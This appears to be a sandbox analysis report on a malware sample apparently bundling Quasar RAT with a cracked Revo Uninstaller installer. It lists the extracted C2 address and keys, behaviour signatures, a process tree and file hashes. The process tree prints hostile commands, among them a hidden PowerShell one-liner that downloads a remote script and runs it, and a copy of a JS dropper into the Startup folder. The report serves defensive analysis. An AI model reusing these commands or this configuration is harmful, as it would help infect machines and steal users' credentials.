Overview

overview

10

Static

static

3

2026-10-05...lc.exe

windows10-2004-x64

10

2026-10-05...lc.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    90s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/10/2026, 01:41

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-10-05_44292b2644b29afe15d982aa2107d331_cryptbot_icedid_luca-stealer_njrat_stealc.exe
  • Size 20.2MB
  • Sample261007-b4k5baaw7w
  • SHA256 69b2ae35f3f0133f2b1ce37981ea009204669a53f8d0a139baad7821d99afb35
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
newdefense_evasiondiscoveryexecutionquasarinstallerlinkpdfpersistenceprivilege_escalationspywarestealertrojanupx

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://codeberg.org/sabifati2/2/raw/branch/main/golden.txt

Extracted

Family

  • quasar

Version

  • 1.4.0.0

Botnet

  • NEW

C2

  • 82.165.179.9:4784

Mutex

  • awP6muKpp5DpQrIrl2

Attributes
  • encryption_key

    kbz1FwBxL7l4QMrTgTaY

  • install_name

    Client.exe

  • key_salt

    bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    Quasar Client Startup

  • subdirectory

    SubDir

Signatures

  • Family: Quasar RAT

    Quasar is an open source Remote Access Tool.

    trojanspywarequasar
  • Quasar payload 1 IoCs
  • Detects Windows executables referencing non-Windows User-Agents 1 IoCs
  • Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 5 IoCs
  • Detects command variations typically used by ransomware 1 IoCs
  • Detects executables containing common artifacts observed in infostealers 1 IoCs
  • UPX dump on OEP (original entry point) 15 IoCs
  • Badlisted process makes network request 17 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Drops file in Drivers directory 3 IoCs
  • Creates a file in the Startup directory 1 TTPs 4 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

    persistenceprivilege_escalation
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 20 IoCs
  • Loads dropped DLL 2 IoCs
  • Modifies system executable filetype association 2 TTPs 4 IoCs
    persistence
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 52 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Drops file in System32 directory 41 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • UPX packed file 15 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 2 IoCs
  • HTTP links in PDF interactive object 1 IoCs

    Detects HTTP links in interactive objects within PDF files.

    pdflink
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 10 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 15 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Inno Setup is an open-source installation builder for Windows applications. 4 IoCs

    Inno Setup installer

    installer
  • Checks SCSI registry key(s) 3 TTPs 36 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Kills process with taskkill 1 IoCs
    defense_evasion
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 44 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of FindShellTrayWindow 35 IoCs
  • Suspicious use of SendNotifyMessage 33 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-10-05_44292b2644b29afe15d982aa2107d331_cryptbot_icedid_luca-stealer_njrat_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-10-05_44292b2644b29afe15d982aa2107d331_cryptbot_icedid_luca-stealer_njrat_stealc.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1796
    • C:\Program Files\1.exe
      "C:\Program Files\1.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:4404
      • C:\Kinghaze\Kur.exe
        "C:\Kinghaze\Kur.exe"
        3⤵
        • Executes dropped EXE
        • Reads the TCP/IP host and domain name from the registry
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:5796
        • C:\Kinghaze\setup.exe
          "C:\Kinghaze\setup.exe" /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP-
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2492
          • C:\Users\Admin\AppData\Local\Temp\is-J95AC.tmp\setup.tmp
            "C:\Users\Admin\AppData\Local\Temp\is-J95AC.tmp\setup.tmp" /SL5="$A0268,17681508,196608,C:\Kinghaze\setup.exe" /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP-
            5⤵
            • Executes dropped EXE
            • Drops file in Program Files directory
            • System Location Discovery: System Language Discovery
            • Modifies registry class
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of WriteProcessMemory
            PID:2088
            • C:\Windows\SysWOW64\taskkill.exe
              "C:\Windows\System32\taskkill.exe" /f /im ruplp.exe
              6⤵
              • System Location Discovery: System Language Discovery
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:4640
            • C:\Windows\system32\regsvr32.exe
              "C:\Windows\system32\regsvr32.exe" /s "C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RUExt.dll"
              6⤵
              • Loads dropped DLL
              • Modifies system executable filetype association
              • Modifies registry class
              PID:4588
            • C:\Windows\system32\rundll32.exe
              "rundll32.exe " SETUPAPI.DLL,InstallHinfSection DefaultInstall 132 C:\Program Files\VS Revo Group\Revo Uninstaller Pro\revoflt.inf
              6⤵
              • Drops file in Drivers directory
              • Adds Run key to start application
              • Suspicious use of WriteProcessMemory
              PID:5784
              • C:\Windows\system32\runonce.exe
                "C:\Windows\system32\runonce.exe" -r
                7⤵
                • Checks processor information in registry
                • Suspicious use of WriteProcessMemory
                PID:4188
                • C:\Windows\System32\grpconv.exe
                  "C:\Windows\System32\grpconv.exe" -o
                  8⤵
                    PID:3012
              • C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe
                "C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe" /regserver /NOREDIRECT
                6⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Modifies registry class
                PID:3092
              • C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe
                "C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe" /bc
                6⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of SetWindowsHookEx
                PID:6060
      • C:\Program Files\Patch.exe
        "C:\Program Files\Patch.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:5680
        • C:\ProgramData\setup.exe
          "C:\ProgramData\setup.exe"
          3⤵
          • Executes dropped EXE
          • Enumerates connected drives
          • Drops file in System32 directory
          • Drops file in Program Files directory
          • Drops file in Windows directory
          • Reads the TCP/IP host and domain name from the registry
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of WriteProcessMemory
          PID:4892
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -exec bypass -file "C:\Users\Public\Settings\A\News\win.ps1"
            4⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4984
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -windowstyle hidden -exec bypass -file "C:\Users\Public\Settings\A\News\win.ps1"
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Enumerates connected drives
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1328
          • C:\Windows\System32\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\ProgramData\diag fix\scheduled\Maintenance\Resources\Licenses\setup\2.js"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1364
            • C:\Windows\SysWOW64\cscript.exe
              "C:\Windows\SysWOW64\cscript.exe" /e:jscript "C:\ProgramData\diag fix\scheduled\Maintenance\Resources\Licenses\setup\2.js"
              5⤵
              • Badlisted process makes network request
              • Creates a file in the Startup directory
              • Adds Run key to start application
              • Reads the TCP/IP host and domain name from the registry
              • System Location Discovery: System Language Discovery
              PID:1628
          • C:\Windows\System32\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\ProgramData\Adobe\AIR\Logs\gp\PerfLogs\Google\start\dfl.js"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:5620
            • C:\Windows\SysWOW64\cscript.exe
              "C:\Windows\SysWOW64\cscript.exe" /e:jscript "C:\ProgramData\Adobe\AIR\Logs\gp\PerfLogs\Google\start\dfl.js"
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              • Suspicious use of WriteProcessMemory
              PID:5576
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -comma Invoke-Expression(New-Object Net.WebClient).DowNloAdSTRiNg.Invoke('https://codeberg.org/sabifati2/2/raw/branch/main/golden.txt')"
                6⤵
                • Badlisted process makes network request
                • Command and Scripting Interpreter: PowerShell
                • Enumerates connected drives
                • Suspicious use of SetThreadContext
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:236
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                  7⤵
                    PID:4568
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                    7⤵
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2588
                • C:\Windows\SysWOW64\xcopy.exe
                  "C:\Windows\System32\xcopy.exe" "C:\ProgramData\Adobe\AIR\Logs\gp\PerfLogs\Google\start\dfl.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dfl.js*"
                  6⤵
                  • Creates a file in the Startup directory
                  • System Location Discovery: System Language Discovery
                  • Enumerates system info in registry
                  PID:1392
      • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
        "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
        1⤵
        • Executes dropped EXE
        • Enumerates connected drives
        • Drops file in System32 directory
        • Drops file in Program Files directory
        • Drops file in Windows directory
        • Reads the TCP/IP host and domain name from the registry
        PID:3328
      • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
        1⤵
        • Executes dropped EXE
        PID:5268
      • C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
        "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
        1⤵
        • Executes dropped EXE
        PID:464
      • \??\c:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE
        "c:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE"
        1⤵
        • Executes dropped EXE
        PID:944
      • C:\Windows\system32\PerceptionSimulation\PerceptionSimulationService.exe
        C:\Windows\system32\PerceptionSimulation\PerceptionSimulationService.exe
        1⤵
        • Executes dropped EXE
        PID:3440
      • C:\Windows\SysWow64\perfhost.exe
        C:\Windows\SysWow64\perfhost.exe
        1⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:5492
      • C:\Windows\System32\ReFsDedupSvc.exe
        C:\Windows\System32\ReFsDedupSvc.exe
        1⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Suspicious use of AdjustPrivilegeToken
        PID:5984
      • C:\Windows\System32\SensorDataService.exe
        C:\Windows\System32\SensorDataService.exe
        1⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Checks SCSI registry key(s)
        PID:4476
      • C:\Windows\System32\OpenSSH\ssh-agent.exe
        C:\Windows\System32\OpenSSH\ssh-agent.exe
        1⤵
        • Executes dropped EXE
        PID:3572
      • C:\Windows\system32\AgentService.exe
        C:\Windows\system32\AgentService.exe
        1⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:5088
      • C:\Windows\system32\SearchIndexer.exe
        C:\Windows\system32\SearchIndexer.exe /Embedding
        1⤵
        • Executes dropped EXE
        • Enumerates connected drives
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3404
        • C:\Windows\System32\SearchProtocolHost.exe
          "C:\Windows\System32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe1_ Global\UsGthrCtrlFltPipeMssGthrPipe1 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"
          2⤵
          • Modifies data under HKEY_USERS
          PID:3460
        • C:\Windows\System32\SearchProtocolHost.exe
          "C:\Windows\System32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe_S-1-5-21-1404337215-1550464601-2805570857-10002_ Global\UsGthrCtrlFltPipeMssGthrPipe_S-1-5-21-1404337215-1550464601-2805570857-10002 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon" "1"
          2⤵
            PID:2908
          • C:\Windows\System32\SearchFilterHost.exe
            "C:\Windows\System32\SearchFilterHost.exe" 944 2828 1720 928 {06DC0F6A-A3E7-4365-A8E8-F674FE2E6361}
            2⤵
            • Modifies data under HKEY_USERS
            PID:4588
          • C:\Windows\System32\SearchFilterHost.exe
            "C:\Windows\System32\SearchFilterHost.exe" 944 1664 1692 928 {7FC3863B-7471-4B10-84E3-A5C2E0330618}
            2⤵
              PID:2544
            • C:\Windows\System32\SearchProtocolHost.exe
              "C:\Windows\System32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe3_ Global\UsGthrCtrlFltPipeMssGthrPipe3 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"
              2⤵
                PID:1280
              • C:\Windows\System32\SearchFilterHost.exe
                "C:\Windows\System32\SearchFilterHost.exe" 944 1664 1692 928 {7FC3863B-7471-4B10-84E3-A5C2E0330618}
                2⤵
                  PID:1124
                • C:\Windows\System32\SearchFilterHost.exe
                  "C:\Windows\System32\SearchFilterHost.exe" 944 2828 1720 928 {06DC0F6A-A3E7-4365-A8E8-F674FE2E6361}
                  2⤵
                    PID:4832
                • C:\Windows\System32\WScript.exe
                  "C:\Windows\System32\WScript.exe" "C:\ProgramData\2.js"
                  1⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2696
                  • C:\Windows\SysWOW64\cscript.exe
                    "C:\Windows\SysWOW64\cscript.exe" /e:jscript "C:\ProgramData\2.js"
                    2⤵
                    • Badlisted process makes network request
                    • Creates a file in the Startup directory
                    • Adds Run key to start application
                    • Reads the TCP/IP host and domain name from the registry
                    • System Location Discovery: System Language Discovery
                    PID:5224
                • C:\Windows\system32\grpconv.exe
                  grpconv -o
                  1⤵
                    PID:3108
                  • C:\Windows\system32\DRIVERS\revoflt.sys
                    system32\DRIVERS\revoflt.sys
                    1⤵
                    • Executes dropped EXE
                    PID:2636

                  Network

                        MITRE ATT&CK Enterprise v16

                        Reconnaissance

                        Resource Development

                        Initial Access

                        Execution

                        Command and Scripting Interpreter

                        3
                        T1059

                        JavaScript

                        1
                        T1059.007

                        PowerShell

                        1
                        T1059.001

                        Windows Command Shell

                        1
                        T1059.003

                        Persistence

                        Boot or Logon Autostart Execution

                        2
                        T1547

                        Registry Run Keys / Startup Folder

                        2
                        T1547.001

                        Event Triggered Execution

                        2
                        T1546

                        Change Default File Association

                        1
                        T1546.001

                        Component Object Model Hijacking

                        1
                        T1546.015

                        Privilege Escalation

                        Boot or Logon Autostart Execution

                        2
                        T1547

                        Registry Run Keys / Startup Folder

                        2
                        T1547.001

                        Event Triggered Execution

                        2
                        T1546

                        Change Default File Association

                        1
                        T1546.001

                        Component Object Model Hijacking

                        1
                        T1546.015

                        Defense Evasion

                        Modify Registry

                        2
                        T1112

                        Credential Access

                        Credentials from Password Stores

                        1
                        T1555

                        Credentials from Web Browsers

                        1
                        T1555.003

                        Unsecured Credentials

                        1
                        T1552

                        Credentials In Files

                        1
                        T1552.001

                        Discovery

                        Peripheral Device Discovery

                        2
                        T1120

                        Query Registry

                        5
                        T1012

                        System Information Discovery

                        5
                        T1082

                        System Location Discovery

                        1
                        T1614

                        System Language Discovery

                        1
                        T1614.001

                        System Network Configuration Discovery

                        2
                        T1016

                        Internet Connection Discovery

                        1
                        T1016.001

                        Lateral Movement

                        Collection

                        Data from Local System

                        1
                        T1005

                        Command and Control

                        Exfiltration

                        Impact

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        Kur.exe
                        • Path C:\Kinghaze\Kur.exe
                        • Size 1.1MB
                        • SHA256 f2818932e53a1adef790d8103e40a3100f2463c730e7ecd356e5a90c6eeedcef
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        revouninstallerpro5.lic
                        • Path C:\Kinghaze\revouninstallerpro5.lic
                        • Size 64KB
                        • SHA256 fe4bcb4251f77375119a936c80fb36221af0c5105e840e2e115d47f96cb437c8
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        setup.exe
                        • Path C:\Kinghaze\setup.exe
                        • Size 17.4MB
                        • SHA256 ac44cbaf95641260a8bdf94e85d4f918ed67d31102008b94134baf83b4a6d6dc
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        elevation_service.exe
                        • Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                        • Size 2.7MB
                        • SHA256 02d58f03f976c5a7858e8a0bc81fff03140ec9e269d167bbe894c1b89f023c53
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        maintenanceservice.exe
                        • Path C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
                        • Size 1.5MB
                        • SHA256 e710a63ef5062db89e3408a60379ba001a184b3f3f66cdd4e65884156529250c
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        1.exe
                        • Path C:\Program Files\1.exe
                        • Size 18.1MB
                        • SHA256 e1313b060e48c4ef407f21595e9e421a3755d70cdd4039aa7b87dde7db86db3b
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        7z.exe
                        • Path C:\Program Files\7-Zip\7z.exe
                        • Size 1.8MB
                        • SHA256 3e42e195e0c4e3f9c27d729273b54ed782270b34a0d6eec98af80a3657c0bd63
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        7zFM.exe
                        • Path C:\Program Files\7-Zip\7zFM.exe
                        • Size 1.5MB
                        • SHA256 ee9058cb9bf58275cb70c02daf1c06311a664a95fb8dcc7a8a97bb8437dc3b85
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        7zG.exe
                        • Path C:\Program Files\7-Zip\7zG.exe
                        • Size 1.2MB
                        • SHA256 e79feb78fa6e0f5bc2fde407e6d1ad8ac5eed773d357e6d80fd33993c2816230
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        Uninstall.exe
                        • Path C:\Program Files\7-Zip\Uninstall.exe
                        • Size 1.2MB
                        • SHA256 dc0e250198396ef2c151e85e8f044961a2bbee77baf0fae53361633c2dc70994
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        OSE.EXE
                        • Path C:\Program Files\Common Files\microsoft shared\Source Engine\OSE.EXE
                        • Size 1.5MB
                        • SHA256 ae128298ed0ce2cbca55e52433c1a8b1e3039ab196191633514814f2028aea34
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        elevation_service.exe
                        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                        • Size 2.8MB
                        • SHA256 ba8f71290b4687f0e95f82baece5d7f8354f7ab7df1636253acb9f72f2e33eca
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        Patch.exe
                        • Path C:\Program Files\Patch.exe
                        • Size 2.1MB
                        • SHA256 324afa86af33503726ec8fad39a7bb7b36890c26097dba54171fa4260d296426
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        RUExt.dll
                        • Path C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RUExt.dll
                        • Size 187KB
                        • SHA256 bda04b693bfdea86a7a3b47f2e4ceae9cd9475c4e81b0aa73b70fd244a65f70f
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        Revo Uninstaller Pro Help.pdf
                        • Path C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Revo Uninstaller Pro Help.pdf
                        • Size 2.1MB
                        • SHA256 9b7a40fd8790396ac00e02764b5787ec3713659c795cf1aa8cc7cf02ea8c2e2e
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        RevoAppBar.exe
                        • Path C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoAppBar.exe
                        • Size 9.9MB
                        • SHA256 16191e299475ca2aa686851bd537b55372b1391caea9019302ac21ac3c18cd70
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        RevoCmd.exe
                        • Path C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoCmd.exe
                        • Size 733KB
                        • SHA256 c9888c22bc31ee33fdca935e3f53a529bd238943335d21e432f39ec91976cc86
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        RevoSrp.exe
                        • Path C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoSrp.exe
                        • Size 895KB
                        • SHA256 d20b4491507772c88cff5b7684c32897a96eb7d6f6016813f14c1005f448292b
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        RevoUninPro.exe
                        • Path C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe
                        • Size 25.0MB
                        • SHA256 c7a31ac668ad3d167d9512609a67ace02dc882d34179633edc53beb4534697b6
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        RevoUninPro.exe
                        • Path C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe
                        • Size 25.0MB
                        • SHA256 bb059811f144c96974de0544447c2ce2822f3dd21d53d5aacb710e341f4ceba3
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        RevoUninPro.exe
                        • Path C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe
                        • Size 25.0MB
                        • SHA256 19921960ae425cf2c333a05c23379b0627d54be22f6732aff9bee99af462bc24
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        WinAppsDll.dll
                        • Path C:\Program Files\VS Revo Group\Revo Uninstaller Pro\WinAppsDll.dll
                        • Size 37KB
                        • SHA256 db7532c6e4e36af3a956a33713deb8c5290e618fd3f95a494dafcddd6f5a5a94
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        english.ini
                        • Path C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\english.ini
                        • Size 124KB
                        • SHA256 0956d357eb1b292dcb62f9270b9b4000d93126802c4c2112252d4dfdc36dd014
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        revoflt.inf
                        • Path C:\Program Files\VS Revo Group\Revo Uninstaller Pro\revoflt.inf
                        • Size 2KB
                        • SHA256 69569b4b111035cd35186da239d8241cf96350f6bb296210368ebc570fa2162b
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        ruplp.exe
                        • Path C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe
                        • Size 9.6MB
                        • SHA256 c6d97857b3b9f26c8e93d7b6e6481f93a16db75cbf9d1756cb29fba0fd9e240e
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        MsSense.exe
                        • Path C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe
                        • Size 1.7MB
                        • SHA256 eba0913b17006e1a9bc3ee766c9d0c2169c6bc403b15f4ca3809c2f110105929
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        NisSrv.exe
                        • Path C:\Program Files\Windows Defender\NisSrv.exe
                        • Size 3.5MB
                        • SHA256 952362da5018021941372a27aba51282f4b2c98fe473fbd92222b12e5c5d892f
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        wmpnetwk.exe
                        • Path C:\Program Files\Windows Media Player\wmpnetwk.exe
                        • Size 1.4MB
                        • SHA256 25c35cb12b6d638c958247a772af6e6686153225ff071e2c072ff1947283c7d9
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        Windows.db
                        • Path C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.db
                        • Size 1.2MB
                        • SHA256 3457bb2eb23906a49a597fbf74eab50c19cba62e942c9968d42538cf4a748ce1
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        Windows.db-wal
                        • Path C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.db-wal
                        • Size 1.4MB
                        • SHA256 64d12255321f075358f1546757d08a8c2984357fc002af5c86d47bb4bf781aac
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        Windows.db-wal
                        • Path C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.db-wal
                        • Size 4KB
                        • SHA256 730f10eed4ceeeecd7042ceb56733e68f10136ccd6ec5ae9e051fd2a4626458d
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        Revo Uninstaller Pro Help.lnk
                        • Path C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Revo Uninstaller Pro\Revo Uninstaller Pro Help.lnk
                        • Size 1KB
                        • SHA256 6b251f61a8bc12952b36c3d17c76ab8431a0828be730b49a04785eb6e2460203
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        Revo Uninstaller Pro on the Web.url
                        • Path C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Revo Uninstaller Pro\Revo Uninstaller Pro on the Web.url
                        • Size 57B
                        • SHA256 bcb8cf2a420b25fec6cd9c72a9bac4a6028209e661e054fc06214706169e6b35
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        Revo Uninstaller Pro.lnk
                        • Path C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Revo Uninstaller Pro\Revo Uninstaller Pro.lnk
                        • Size 1KB
                        • SHA256 08220b5cd6815b4471a55e34d6b21b76d7269adc21ead40da6fc3a0532a9a77c
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        Uninstall Revo Uninstaller Pro.lnk
                        • Path C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Revo Uninstaller Pro\Uninstall Revo Uninstaller Pro.lnk
                        • Size 1KB
                        • SHA256 0538463f2e9256a2ceeab3c9f948bc27b6babc2361509db9a5d257238945bdab
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

